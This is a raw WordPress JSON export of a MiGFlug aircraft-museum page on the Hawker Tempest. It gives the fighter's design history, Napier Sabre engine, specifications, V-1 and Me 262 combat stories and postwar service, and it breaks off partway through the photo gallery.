{"id":19239,"date":"2026-07-31T13:21:43","date_gmt":"2026-07-31T11:21:43","guid":{"rendered":"https:\/\/migflug.com\/?page_id=19239"},"modified":"2026-08-02T10:28:21","modified_gmt":"2026-08-02T08:28:21","slug":"hawker-tempest","status":"publish","type":"page","link":"https:\/\/migflug.com\/tr\/aircraft\/hawker-tempest\/","title":{"rendered":"Hawker Tempest \u2014 History, Specs &#038; Stories"},"content":{"rendered":"<div id=\"mfam\">\n<style> @import url('https:\/\/fonts.googleapis.com\/css2?family=Lora:ital,wght@0,400;0,500;1,400;1,500&display=swap'); body.page-id-19239 h1.entry-title.main_title{display:none} body.page-id-19239 #main-content .container{padding-top:0} body.page-id-19239 #left-area{padding-bottom:0} html{overflow-x:hidden} body.page-id-19239{overflow-x:hidden} body.page-id-19239 #sidebar{display:none} body.page-id-19239 #left-area{width:100%!important;float:none;padding:0} #mfam{width:100vw;margin-left:calc(50% - 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You can, however, fly in several genuine ex-military jets and warbirds today via MiGFlug.\"}},{\"@type\":\"Question\",\"name\":\"How fast was the Hawker Tempest?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"The Tempest V reached about 435 mph (roughly 700 km\/h) at medium altitude, making it the fastest RAF piston-engined fighter at low and medium level in service at the time.\"}},{\"@type\":\"Question\",\"name\":\"How is the Tempest different from the Hawker Typhoon?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"The Tempest was a redesign of the Typhoon to cure its high-speed and high-altitude weaknesses. The key change was a new, much thinner semi-elliptical laminar-flow wing (about 14.5% thick versus 18%) that delayed compressibility, plus a lengthened fuselage. It began as the Typhoon II.\"}},{\"@type\":\"Question\",\"name\":\"Did the Tempest shoot down V-1 flying bombs?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Yes. It was the most successful V-1 killer of the war. During Operation Diver in summer 1944, Tempest wings destroyed more flying bombs than any other type, with tallies commonly cited between roughly 600 and 800.\"}},{\"@type\":\"Question\",\"name\":\"Could the Tempest shoot down the Me 262 jet?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Yes, though not in a straight chase. The Me 262 was vulnerable during take-off and landing near its airfields, and Tempest squadrons flew standing patrols over jet bases and downed a number of them in that window.\"}},{\"@type\":\"Question\",\"name\":\"Did India and Pakistan operate the Tempest?\",\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Yes. Radial Tempest IIs were passed to both new air forces at partition in 1947 (reportedly around 89 to India and roughly 24 to 35 to Pakistan) and served into the early 1950s.\"}}]}<\/script> <\/p>\n<header class=\"hero\">\n<div class=\"hero-media\"><img data-opt-id=613095634  data-opt-src=\"https:\/\/ml5psubhxdln.i.optimole.com\/cb:78--.b845\/w:1536\/h:1024\/q:96\/f:best\/https:\/\/migflug.com\/wp-content\/uploads\/2026\/08\/hawker-tempest-fighter.jpg\"  src=\"data:image/svg+xml,%3Csvg%20viewBox%3D%220%200%201536%201024%22%20width%3D%221536%22%20height%3D%221024%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Crect%20width%3D%221536%22%20height%3D%221024%22%20fill%3D%22transparent%22%2F%3E%3C%2Fsvg%3E\" alt=\"Hawker Tempest V-1 killer fighter of WWII\" loading=\"eager\" decoding=\"async\"><\/div>\n<div class=\"wrap hero-in\">\n<div class=\"crumb\"><a href=\"https:\/\/migflug.com\/aircraft\/\">Aircraft Museum<\/a> \u203a <span>Fighter<\/span> \u203a <span>Tempest<\/span><\/div>\n<h1>Hawker Tempest<br \/><em>The Typhoon perfected<\/em><\/h1>\n<p class=\"sub\">A thin-winged redesign of the troubled Typhoon \u2014 the fastest low-level piston fighter the RAF flew, the deadliest V-1 flying-bomb hunter of the war, and one of the few aircraft to catch and kill the Me&nbsp;262 jet.<\/p>\n<div class=\"statstrip\">\n<div class=\"stat\"><b>~700 km\/h<\/b><span>~435 mph \u00b7 fastest RAF piston fighter at low level<\/span><\/div>\n<div class=\"stat\"><b>~600\u2013800<\/b><span>V-1 flying bombs downed \u00b7 most of any type<\/span><\/div>\n<div class=\"stat\"><b>1942 \/ 1944<\/b><span>First flight \u00b7 entered service<\/span><\/div>\n<div class=\"stat\"><b>~1,700<\/b><span>Aircraft built \u00b7 all marks<\/span><\/div>\n<\/div>\n<\/div>\n<div class=\"credit\">Photo: RAF official \u00b7 Public domain<\/div>\n<\/header>\n<div class=\"wrap\">\n<div class=\"chips\"><span class=\"chip\"><b>Role<\/b>Fighter &amp; fighter-bomber<\/span><span class=\"chip\"><b>Era<\/b>Second World War<\/span><span class=\"chip\"><b>Engine<\/b>1 \u00d7 Napier Sabre II (Mk V)<\/span><span class=\"chip\"><b>Origin<\/b>United Kingdom \u00b7 Hawker<\/span><span class=\"chip\"><b>Status<\/b>Retired (a couple flying)<\/span><a class=\"chip fly\" href=\"#faq\">Can I fly in a Tempest?<\/a><\/div>\n<\/div>\n<section>\n<div class=\"wrap\">\n<div class=\"kicker\">The Story<\/div>\n<h2>Built to fix the Typhoon\u2019s fatal flaw<\/h2>\n<div class=\"cols\">\n<div>\n<p>The Hawker Typhoon was a brute of an aircraft \u2014 heavily armed, brutally fast at low level, and utterly deadly in the ground-attack role. But it had a crippling weakness. Its thick wing, around <strong>18% thickness-to-chord<\/strong>, ran into <strong>compressibility<\/strong> at high speed and altitude: the airflow over it broke down in a dive, the controls grew heavy and the buffeting savage. As a high-altitude interceptor the Typhoon was a disappointment. Chief designer <strong>Sydney Camm<\/strong> and the Hawker team set out to cure it.<\/p>\n<p>Their answer was a new, much thinner <strong>semi-elliptical wing of near-laminar-flow section<\/strong>, cut to about <strong>14.5% thickness<\/strong>, which pushed the compressibility problems far higher up the speed range. The thin wing held less fuel, so the fuselage was lengthened and a tank added ahead of the cockpit. The result was so changed it earned a new name: first flown on <strong>2 September 1942<\/strong> and originally called the \u201cTyphoon II,\u201d it was renamed the <strong>Tempest<\/strong> in January 1942 and reached squadrons in early 1944.<\/p>\n<p>What emerged was arguably the <strong>zenith of British piston-fighter design<\/strong>. Powered by the mighty 24-cylinder <strong>Napier Sabre<\/strong>, the Tempest&nbsp;V was the fastest thing the RAF had at low and medium altitude. That speed made it the war\u2019s supreme <strong>V-1 flying-bomb killer<\/strong> in the summer of 1944, then a formidable air-superiority and ground-attack fighter over Germany \u2014 one of the very few types able to hunt down the jet-powered Messerschmitt&nbsp;Me&nbsp;262.<\/p>\n<\/div>\n<div class=\"pull\">They took the Typhoon\u2019s power and firepower, gave it a wing that could finally fly fast cleanly, and built the RAF\u2019s best low-level fighter.<cite><b>The thin-wing fix<\/b> \u2014 how the Tempest cured the Typhoon<\/cite><\/div>\n<\/div>\n<div class=\"deepset\">\n<details class=\"deep\">\n<summary><span class=\"no\">01<\/span><span class=\"t\">The Hawker Tempest\u2019s origins: how a new wing turned the Typhoon into a war-winner<\/span><\/summary>\n<div class=\"a\">\n<p>The Typhoon had been designed as a Hurricane replacement and interceptor, but its thick wing betrayed it above about 20,000&nbsp;ft, where compressibility buffeting and heavy controls made high-altitude interception nearly impossible. It found its true calling lower down, smashing trains, tanks and shipping. Camm\u2019s Tempest wing \u2014 thinner, elliptical in plan and laminar-flow in section \u2014 was the fix: it delayed the onset of compressibility, sharpened high-speed handling and gave the aircraft a genuinely fast, clean dive.<\/p>\n<p>The trade-off was fuel: a thinner wing simply could not hold as much, so Hawker stretched the nose to add a forward fuselage tank, giving the Tempest a useful operational radius \u2014 reportedly on the order of 500 miles, far better than a Spitfire. Six prototypes were ordered around late 1941, each testing a different engine (Napier Sabre, Bristol Centaurus and Rolls-Royce Griffon variants), a deliberate hedge against engine-supply problems. The Sabre-powered Mark&nbsp;V won the wartime production race.<\/p>\n<\/div>\n<\/details>\n<\/div>\n<\/div>\n<\/section>\n<hr class=\"divider\">\n<section>\n<div class=\"wrap\">\n<div class=\"kicker\">Design &amp; Engineering<\/div>\n<h2>What makes it special<\/h2>\n<div class=\"cards3\">\n<div class=\"ecard\">\n<div class=\"num\">01<\/div>\n<h3>A thin laminar-flow wing \u2014 and blistering low-level speed<\/h3>\n<p>The heart of the Tempest is its <strong>thin, semi-elliptical, near-laminar-flow wing<\/strong> (about 14.5% thick versus the Typhoon\u2019s 18%). It pushed compressibility troubles far up the speed range, giving clean high-speed handling and a fast dive. Married to the ~2,180&nbsp;hp Napier Sabre, it made the Tempest&nbsp;V the <strong>fastest RAF piston fighter at low and medium altitude<\/strong> \u2014 roughly <strong>435&nbsp;mph (~700&nbsp;km\/h)<\/strong>.<\/p>\n<\/div>\n<div class=\"ecard\">\n<div class=\"num\">02<\/div>\n<h3>The war\u2019s supreme flying-bomb killer<\/h3>\n<p>When the V-1 offensive opened in June 1944, the doodlebugs crossed the coast low and fast \u2014 exactly where the Tempest excelled. During <strong>Operation Diver<\/strong>, Tempest wings destroyed <strong>more V-1s than any other aircraft type<\/strong>, with commonly cited tallies in the range of <strong>600\u2013800<\/strong>. Some were \u201ctipped\u201d off course using wingtip airflow rather than gunfire \u2014 a technique later much mythologised.<\/p>\n<\/div>\n<div class=\"ecard\">\n<div class=\"num\">03<\/div>\n<h3>Air superiority, jet-killing and ground attack<\/h3>\n<p>Over Germany with the 2nd Tactical Air Force, Tempest squadrons flew fighter sweeps and armed reconnaissance. Their four <strong>20&nbsp;mm Hispano cannon<\/strong> plus bombs or rockets wrecked trains, transport and airfields, and they were among the very few Allied fighters to <strong>shoot down the Me&nbsp;262 jet<\/strong> \u2014 usually by catching it slow, in the take-off and landing phase near its bases.<\/p>\n<\/div>\n<\/div>\n<div class=\"deepset\">\n<details class=\"deep\">\n<summary><span class=\"no\">02<\/span><span class=\"t\">The Hawker Tempest\u2019s engine: the temperamental Napier Sabre<\/span><\/summary>\n<div class=\"a\">\n<p>The Tempest&nbsp;V was built around the <strong>Napier Sabre<\/strong>, a radical <strong>24-cylinder, horizontally-opposed (H-24), sleeve-valve, liquid-cooled<\/strong> engine designed by Frank Halford. It delivered around <strong>2,180&nbsp;hp<\/strong> in the Sabre&nbsp;II \u2014 enormous for its day \u2014 and later grew past 2,300&nbsp;hp in the Sabre&nbsp;V of the Tempest&nbsp;VI. But it was notoriously troublesome early on: manufacturing faults in the sleeves caused seizures, and ground crews reputedly had to turn the engine over before start to avoid a lock-up. Reliability was only tamed with help from Bristol\u2019s sleeve-valve expertise. When it worked, it was one of the most powerful piston aero-engines of the war.<\/p>\n<\/div>\n<\/details>\n<details class=\"deep\">\n<summary><span class=\"no\">03<\/span><span class=\"t\">The Hawker Tempest II: the radial-engined version that missed the war<\/span><\/summary>\n<div class=\"a\">\n<p>Not every Tempest used the Sabre. The <strong>Tempest&nbsp;II<\/strong> swapped the liquid-cooled H-24 for a <strong>Bristol Centaurus radial<\/strong> \u2014 simpler, air-cooled and better suited to hot climates. It promised excellent performance, but development dragged and it <strong>arrived too late for WWII combat<\/strong>. It became the postwar mainstay: rugged Centaurus Tempest IIs were handed to India and Pakistan at partition in 1947, and the thin-wing, radial formula led directly to the superb <strong>Hawker Sea Fury<\/strong>, one of the fastest piston fighters ever built.<\/p>\n<\/div>\n<\/details>\n<\/div>\n<\/div>\n<\/section>\n<hr class=\"divider\">\n<section>\n<div class=\"wrap\">\n<div class=\"kicker\">Technical Data<\/div>\n<h2>Full specifications<\/h2>\n<div class=\"specgrid\">\n<div class=\"spectable\">\n<h4>Airframe &amp; Performance (Tempest V)<\/h4>\n<dl>\n<dt>Crew<\/dt>\n<dd>1<\/dd>\n<dt>Length<\/dt>\n<dd>~10.26 m (33 ft 8 in)<\/dd>\n<dt>Wingspan<\/dt>\n<dd>~12.5 m (41 ft)<\/dd>\n<dt>Max takeoff weight<\/dt>\n<dd>~6,190 kg (~13,640 lb)<\/dd>\n<dt>Max speed<\/dt>\n<dd>~435 mph \u00b7 ~700 km\/h (at ~17,000\u201318,500 ft)<\/dd>\n<dt>Rate of climb<\/dt>\n<dd>~4,700 ft\/min<\/dd>\n<dt>Service ceiling<\/dt>\n<dd>~11,100 m (~36,500 ft)<\/dd>\n<dt>Range<\/dt>\n<dd>~1,190 km (~740 miles) normal<\/dd>\n<dt>First flight<\/dt>\n<dd>2 September 1942<\/dd>\n<\/dl>\n<\/div>\n<div class=\"spectable\">\n<h4>Propulsion, Armament &amp; Production<\/h4>\n<dl>\n<dt>Engine<\/dt>\n<dd>1 \u00d7 Napier Sabre II, H-24 sleeve-valve<\/dd>\n<dt>Power<\/dt>\n<dd>~2,180 hp<\/dd>\n<dt>Armament<\/dt>\n<dd>4 \u00d7 20 mm Hispano Mk V cannon<\/dd>\n<dt>Ordnance<\/dt>\n<dd>Up to ~2,000 lb bombs or 8 \u00d7 RP-3 rockets<\/dd>\n<dt>Service entry<\/dt>\n<dd>Early 1944 (No. 486 Sqn)<\/dd>\n<dt>Built (Mk V)<\/dt>\n<dd>~800<\/dd>\n<dt>Built (all marks)<\/dt>\n<dd>~1,700 (RAF Museum: 1,702)<\/dd>\n<dt>Unit cost<\/dt>\n<dd>No reliable public figure<\/dd>\n<dt>Cost per flight hour<\/dt>\n<dd>No reliable public figure<\/dd>\n<\/dl>\n<\/div>\n<\/div>\n<div class=\"deepset\">\n<details class=\"deep\">\n<summary><span class=\"no\">04<\/span><span class=\"t\">The Hawker Tempest\u2019s cost: why no reliable price exists<\/span><\/summary>\n<div class=\"a\">\n<p>The Tempest was a wartime British government product built under Air Ministry contract, never sold on an open market, so a firm flyaway unit price and a credible cost-per-flight-hour figure simply do not exist in the public record. Wartime aircraft costs were also heavily distorted by state financing, bulk contracts and shifting labour and material prices. Any precise dollar or pound figure attached to a Tempest today should be read as an estimate rather than a sourced fact. What is well documented is the <strong>scale of production \u2014 roughly 1,700 built across all marks<\/strong>, about 800 of them Sabre-powered Mark Vs.<\/p>\n<\/div>\n<\/details>\n<\/div>\n<\/div>\n<\/section>\n<hr class=\"divider\">\n<section>\n<div class=\"wrap\">\n<div class=\"kicker\">Timeline<\/div>\n<h2>From Typhoon fix to postwar warhorse<\/h2>\n<div class=\"tl\">\n<div class=\"tl-item\">\n<div class=\"yr\">1940<\/div>\n<h3>The problem<\/h3>\n<p>Hawker begins studies to cure the Typhoon\u2019s high-speed, high-altitude compressibility troubles with a new, thinner wing.<\/p>\n<\/div>\n<div class=\"tl-item\">\n<div class=\"yr\">1941<\/div>\n<h3>Prototypes ordered<\/h3>\n<p>Six prototypes are contracted, each testing a different engine \u2014 Napier Sabre, Bristol Centaurus and Rolls-Royce Griffon \u2014 against supply uncertainty.<\/p>\n<\/div>\n<div class=\"tl-item\">\n<div class=\"yr\">1942<\/div>\n<h3>First flight<\/h3>\n<p>Renamed from \u201cTyphoon II\u201d to Tempest, the Sabre-powered prototype (HM595) first flies on 2 September 1942.<\/p>\n<\/div>\n<div class=\"tl-item\">\n<div class=\"yr\">1944<\/div>\n<h3>Enters service<\/h3>\n<p>The Tempest V reaches No. 486 (NZ) Squadron in January and is operational by spring 1944.<\/p>\n<\/div>\n<div class=\"tl-item\">\n<div class=\"yr\">1944<\/div>\n<h3>Operation Diver<\/h3>\n<p>From 13 June, the Newchurch Wing spearheads the V-1 defence; Tempests become the war\u2019s top flying-bomb killers.<\/p>\n<\/div>\n<div class=\"tl-item\">\n<div class=\"yr\">1944\u201345<\/div>\n<h3>Over Germany<\/h3>\n<p>With the 2nd Tactical Air Force, Tempest squadrons score ~240 air-to-air kills, including at least 20 German jets.<\/p>\n<\/div>\n<div class=\"tl-item\">\n<div class=\"yr\">1947<\/div>\n<h3>Partition<\/h3>\n<p>Radial-engined Tempest IIs pass to the new air forces of India and Pakistan; PAF forms Nos. 5 and 9 Squadrons at Peshawar.<\/p>\n<\/div>\n<div class=\"tl-item\">\n<div class=\"yr\">1953<\/div>\n<h3>End of the line<\/h3>\n<p>The Tempest VI is retired as the RAF\u2019s last piston-engined fighter; the design lineage lives on in the Hawker Sea Fury.<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/section>\n<hr class=\"divider\">\n<section>\n<div class=\"wrap\">\n<div class=\"kicker\">Stories &amp; Eyewitnesses<\/div>\n<h2>From the cockpit: twelve Tempest stories<\/h2>\n<div class=\"car\"><button class=\"cbtn p\" onclick=\"document.getElementById('stcar').scrollBy({left:-712,behavior:'smooth'})\">\u2039<\/button><button class=\"cbtn n\" onclick=\"document.getElementById('stcar').scrollBy({left:712,behavior:'smooth'})\">\u203a<\/button><\/p>\n<div class=\"track\" id=\"stcar\">\n<div class=\"mscard\">\n<div class=\"tag\">Design<\/div>\n<h4>The wing that made the Tempest<\/h4>\n<p>Camm swapped the Typhoon\u2019s thick wing for a thin laminar-flow one \u2014 and cured its worst flaw.<\/p>\n<details>\n<summary>Read the full story<\/summary>\n<div class=\"full\">The Typhoon could not be trusted at high speed and altitude: its thick 18%-chord wing hit compressibility, the controls stiffened and it buffeted in the dive. Sydney Camm\u2019s team gave the new aircraft a thin, semi-elliptical, near-laminar-flow wing of about 14.5% thickness, delaying compressibility and transforming its high-speed handling. It changed the machine so completely that it stopped being a Typhoon and became the Tempest.<\/div>\n<\/details>\n<\/div>\n<div class=\"mscard\">\n<div class=\"tag\">Naming<\/div>\n<h4>From \u201cTyphoon II\u201d to Tempest<\/h4>\n<p>The aircraft that began life as a Typhoon subvariant became a type in its own right.<\/p>\n<details>\n<summary>Read the full story<\/summary>\n<div class=\"full\">Early on the redesign was simply the \u201cTyphoon II.\u201d But the new wing, longer fuselage and improved performance marked such a departure that Hawker gave it a fresh name in January 1942: Tempest. It was one of the clearest cases in RAF history of a \u201cvariant\u201d that outgrew its parent entirely.<\/div>\n<\/details>\n<\/div>\n<div class=\"mscard\">\n<div class=\"tag\">Engine<\/div>\n<h4>The temperamental Napier Sabre<\/h4>\n<p>Frank Halford\u2019s 24-cylinder sleeve-valve H-engine was mighty \u2014 and maddening.<\/p>\n<details>\n<summary>Read the full story<\/summary>\n<div class=\"full\">The Sabre was a 24-cylinder, horizontally-opposed, sleeve-valve monster giving around 2,180 hp \u2014 huge for its time. But early sleeve-manufacturing faults caused seizures, and reliability was only tamed with Bristol\u2019s help. Ground crews reputedly turned the engine over before starting to avoid a lock-up. When it ran properly, few piston engines of the war could match its raw power at low level.<\/div>\n<\/details>\n<\/div>\n<div class=\"mscard\">\n<div class=\"tag\">V-1 defence<\/div>\n<h4>The doodlebug summer<\/h4>\n<p>When the flying bombs came in June 1944, the Tempest was the right aircraft in the right place.<\/p>\n<details>\n<summary>Read the full story<\/summary>\n<div class=\"full\">The V-1 crossed the Channel low and fast \u2014 around 2,000\u20133,000 ft at up to 400 mph \u2014 precisely the regime where the Tempest was fastest. Under Operation Diver, Tempest wings destroyed more V-1s than any other type, with tallies commonly cited around 600\u2013800. It was dangerous, exhausting work chasing small, fast targets over crowded southern England.<\/div>\n<\/details>\n<\/div>\n<div class=\"mscard\">\n<div class=\"tag\">Tactics<\/div>\n<h4>Tipping the flying bomb<\/h4>\n<p>Pilots learned to topple a V-1 with a wingtip \u2014 not by ramming it.<\/p>\n<details>\n<summary>Read the full story<\/summary>\n<div class=\"full\">The famous \u201ctipping\u201d technique is widely misunderstood. Rather than physically colliding with a bomb carrying a ~1,000 kg warhead, pilots slid a wingtip close alongside the V-1 so the disturbed airflow toppled its gyro and sent it down off course. Roland Beamont described it as airflow disruption, not a ram. It was a last-resort method used to save ammunition or avoid detonating the warhead in the fighter\u2019s face \u2014 and it was shared with Spitfire and Meteor pilots too.<\/div>\n<\/details>\n<\/div>\n<div class=\"mscard\">\n<div class=\"tag\">Ace<\/div>\n<h4>Joseph Berry, top doodlebug killer<\/h4>\n<p>The RAF\u2019s leading V-1 ace scored most of his tally at night.<\/p>\n<details>\n<summary>Read the full story<\/summary>\n<div class=\"full\">Squadron Leader Joseph Berry became the highest-scoring individual V-1 killer of the war, credited with roughly 59\u201360 flying bombs, much of it flying dangerous night interceptions with 501 Squadron. Night work against small, fast, unpredictable targets over a blacked-out landscape was some of the most demanding flying of the campaign.<\/div>\n<\/details>\n<\/div>\n<div class=\"mscard\">\n<div class=\"tag\">Newchurch<\/div>\n<h4>The wing in the Kent marshes<\/h4>\n<p>A spartan advanced landing ground became the front line of the V-1 battle.<\/p>\n<details>\n<summary>Read the full story<\/summary>\n<div class=\"full\">The Newchurch Advanced Landing Ground, out on the Romney Marsh, hosted the spearhead Tempest wing \u2014 Nos. 3 and 486 (NZ) Squadrons, with 56 Squadron joining while it awaited its own Tempests. Living under canvas and flying from a temporary strip, these squadrons flew intensive standing patrols through the summer of 1944 against a relentless stream of flying bombs.<\/div>\n<\/details>\n<\/div>\n<div class=\"mscard\">\n<div class=\"tag\">Jet-killing<\/div>\n<h4>Hunting the Me 262<\/h4>\n<p>The Tempest could not out-run a jet \u2014 so it caught it slow.<\/p>\n<details>\n<summary>Read the full story<\/summary>\n<div class=\"full\">No piston fighter could match the Me 262 in level flight, but the German jet was vulnerable during take-off and landing, when it was slow and low near its own airfields. Tempest squadrons flew standing patrols over known jet bases \u2014 the RAF nicknamed the tactic the \u201cRat Scramble\u201d \u2014 and shot down a number of Me 262s in that fleeting window. It was one of the very few Allied fighters to do so consistently.<\/div>\n<\/details>\n<\/div>\n<div class=\"mscard\">\n<div class=\"tag\">Aces<\/div>\n<h4>David \u201cFoob\u201d Fairbanks<\/h4>\n<p>An American in the RAF became the top-scoring Tempest pilot.<\/p>\n<details>\n<summary>Read the full story<\/summary>\n<div class=\"full\">Squadron Leader David \u201cFoob\u201d Fairbanks, an American flying with the RAF, was the highest-scoring Tempest ace with around 12 confirmed victories over Germany with the 2nd Tactical Air Force. He was eventually shot down and taken prisoner in early 1945. The seven Tempest squadrons of 2 TAF together claimed roughly 240 air-to-air kills.<\/div>\n<\/details>\n<\/div>\n<div class=\"mscard\">\n<div class=\"tag\">France<\/div>\n<h4>Clostermann and \u201cLe Grand Charles\u201d<\/h4>\n<p>The French ace flew Tempests in the last weeks of the war \u2014 and wrote about it.<\/p>\n<details>\n<summary>Read the full story<\/summary>\n<div class=\"full\">Pierre Clostermann flew Tempest Vs with No. 3 Squadron and later 122 Wing in the closing weeks of the war, naming his aircraft \u201cLe Grand Charles.\u201d His memoir The Big Show (Le Grand Cirque) became one of the most famous first-hand accounts of Tempest operations \u2014 vivid and gripping, though historians treat some of its combat claims with caution.<\/div>\n<\/details>\n<\/div>\n<div class=\"mscard\">\n<div class=\"tag\">Postwar<\/div>\n<h4>Partition warriors<\/h4>\n<p>At Indian independence, radial Tempest IIs went to two new air forces.<\/p>\n<details>\n<summary>Read the full story<\/summary>\n<div class=\"full\">The Centaurus-engined Tempest II, rugged and well-suited to hot climates, was chosen for the tropics. At the 1947 partition, examples passed to both India (reportedly around 89) and Pakistan (roughly 24\u201335). Pakistan formed Nos. 5 and 9 Squadrons at Peshawar and flew Tempests in combat over the North-West Frontier before Hawker Sea Furies replaced them from 1949.<\/div>\n<\/details>\n<\/div>\n<div class=\"mscard\">\n<div class=\"tag\">Legacy<\/div>\n<h4>The road to the Sea Fury<\/h4>\n<p>The Tempest\u2019s thin-wing, radial formula produced one of the greatest piston fighters ever.<\/p>\n<details>\n<summary>Read the full story<\/summary>\n<div class=\"full\">Hawker refined the thin-wing, Centaurus-radial Tempest II into a lighter, cleaner design \u2014 the Fury and its navalised cousin, the Sea Fury. The Sea Fury became the Royal Navy\u2019s last piston fighter and one of the fastest piston-engined aircraft ever built, even scoring jet kills over Korea. It was the natural end-point of the line Camm began when he set out to fix the Typhoon.<\/div>\n<\/details>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/section>\n<hr class=\"divider\">\n<section>\n<div class=\"wrap\">\n<div class=\"kicker\">Gallery<\/div>\n<h2>The Tempest in pictures<\/h2>\n<div class=\"car\"><button class=\"cbtn p\" onclick=\"document.getElementById('gal').scrollBy({left:-660,behavior:'smooth'})\">\u2039<\/button><button class=\"cbtn n\" onclick=\"document.getElementById('gal').scrollBy({left:660,behavior:'smooth'})\">\u203a<\/button><\/p>\n<div class=\"track gal\" id=\"gal\">\n<figure data-full=\"https:\/\/ml5psubhxdln.i.optimole.com\/cb:78--.b845\/w:auto\/h:auto\/q:96\/f:best\/https:\/\/migflug.com\/wp-content\/uploads\/2026\/07\/hawker-typhoon-and-tempest-v-1944.jpg\"><img data-opt-id=224378649  data-opt-src=\"https:\/\/ml5psubhxdln.i.optimole.com\/cb:78--.b845\/w:auto\/h:auto\/q:96\/f:best\/https:\/\/migflug.com\/wp-content\/uploads\/2026\/07\/hawker-typhoon-and-tempest-v-1944.jpg\"  class=\"ph\" src=\"data:image/svg+xml,%3Csvg%20viewBox%3D%220%200%20100%%20100%%22%20width%3D%22100%%22%20height%3D%22100%%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Crect%20width%3D%22100%%22%20height%3D%22100%%22%20fill%3D%22transparent%22%2F%3E%3C%2Fsvg%3E\" alt=\"A Hawker Typhoon and Tempest V of 486 Squadron seen from below in 1944  parent and refined offspring together.\" loading=\"lazy\" decoding=\"async\"><figcaption>A Hawker Typhoon and Tempest V of 486 Squadron seen from below in 1944 \u2014 parent and refined offspring together.<span>Photo: RAF (Flt Lt N.S. Clark) \u00b7 Public domain<\/span><\/figcaption><\/figure>\n<figure data-full=\"https:\/\/ml5psubhxdln.i.optimole.com\/cb:78--.b845\/w:768\/h:605\/q:96\/f:best\/https:\/\/migflug.com\/wp-content\/uploads\/2026\/07\/hawker-tempest-v-takeoff-volkel.jpg\"><img data-opt-id=1963146284  data-opt-src=\"https:\/\/ml5psubhxdln.i.optimole.com\/cb:78--.b845\/w:768\/h:605\/q:96\/f:best\/https:\/\/migflug.com\/wp-content\/uploads\/2026\/07\/hawker-tempest-v-takeoff-volkel.jpg\"  class=\"ph\" src=\"data:image/svg+xml,%3Csvg%20viewBox%3D%220%200%20768%20605%22%20width%3D%22768%22%20height%3D%22605%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Crect%20width%3D%22768%22%20height%3D%22605%22%20fill%3D%22transparent%22%2F%3E%3C%2Fsvg%3E\" alt=\"A Tempest V of 486 (NZ) Squadron lifting off from Volkel, Holland, on operations with the 2nd Tactical Air Force.\" loading=\"lazy\" decoding=\"async\"><figcaption>A Tempest V of 486 (NZ) Squadron lifting off from Volkel, Holland, on operations with the 2nd Tactical Air Force.<span>Photo: RAF official \u00b7 Public domain<\/span><\/figcaption><\/figure>\n<figure data-full=\"https:\/\/ml5psubhxdln.i.optimole.com\/cb:78--.b845\/w:1280\/h:869\/q:96\/f:best\/https:\/\/migflug.com\/wp-content\/uploads\/2026\/07\/hawker-tempest-v-newchurch-rearm.jpg\"><img data-opt-id=1105922076  data-opt-src=\"https:\/\/ml5psubhxdln.i.optimole.com\/cb:78--.b845\/w:980\/h:666\/q:96\/f:best\/https:\/\/migflug.com\/wp-content\/uploads\/2026\/07\/hawker-tempest-v-newchurch-rearm.jpg\"  class=\"ph\" src=\"data:image/svg+xml,%3Csvg%20viewBox%3D%220%200%20980%20666%22%20width%3D%22980%22%20height%3D%22666%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Crect%20width%3D%22980%22%20height%3D%22666%22%20fill%3D%22transparent%22%2F%3E%3C%2Fsvg%3E\" alt=\"Ground crew refuel and re-arm a Tempest V of No. 3 Squadron at Newchurch during the V-1 battle.\" loading=\"lazy\" decoding=\"async\"><figcaption>Ground crew refuel and re-arm a Tempest V of No. 3 Squadron at Newchurch during the V-1 battle.<span>Photo: RAF (F\/O Wilson) \u00b7 Public domain<\/span><\/figcaption><\/figure>\n<figure data-full=\"https:\/\/ml5psubhxdln.i.optimole.com\/cb:78--.b845\/w:1280\/h:833\/q:96\/f:best\/https:\/\/migflug.com\/wp-content\/uploads\/2026\/07\/hawker-tempest-clostermann-le-grand-charles.jpg\"><img data-opt-id=488430597  data-opt-src=\"https:\/\/ml5psubhxdln.i.optimole.com\/cb:78--.b845\/w:980\/h:637\/q:96\/f:best\/https:\/\/migflug.com\/wp-content\/uploads\/2026\/07\/hawker-tempest-clostermann-le-grand-charles.jpg\"  class=\"ph\" src=\"data:image/svg+xml,%3Csvg%20viewBox%3D%220%200%20980%20637%22%20width%3D%22980%22%20height%3D%22637%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Crect%20width%3D%22980%22%20height%3D%22637%22%20fill%3D%22transparent%22%2F%3E%3C%2Fsvg%3E\" alt=\"French ace Pierre Clostermann in the cockpit of his Tempest Le Grand Charles.\" loading=\"lazy\" decoding=\"async\"><figcaption>French ace Pierre Clostermann in the cockpit of his Tempest \u201cLe Grand Charles.\u201d<span>Photo: French\/RAF official \u00b7 Public domain<\/span><\/figcaption><\/figure>\n<figure data-full=\"https:\/\/ml5psubhxdln.i.optimole.com\/cb:78--.b845\/w:1280\/h:853\/q:96\/f:best\/https:\/\/migflug.com\/wp-content\/uploads\/2026\/07\/hawker-tempest-ii-radial-pr536.jpg\"><img data-opt-id=1098172952  data-opt-src=\"https:\/\/ml5psubhxdln.i.optimole.com\/cb:78--.b845\/w:980\/h:653\/q:96\/f:best\/https:\/\/migflug.com\/wp-content\/uploads\/2026\/07\/hawker-tempest-ii-radial-pr536.jpg\"  class=\"ph\" src=\"data:image/svg+xml,%3Csvg%20viewBox%3D%220%200%20980%20653%22%20width%3D%22980%22%20height%3D%22653%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Crect%20width%3D%22980%22%20height%3D%22653%22%20fill%3D%22transparent%22%2F%3E%3C%2Fsvg%3E\" alt=\"A preserved radial-engined Tempest II (PR536)  the Centaurus variant that missed the war and served on postwar.\" 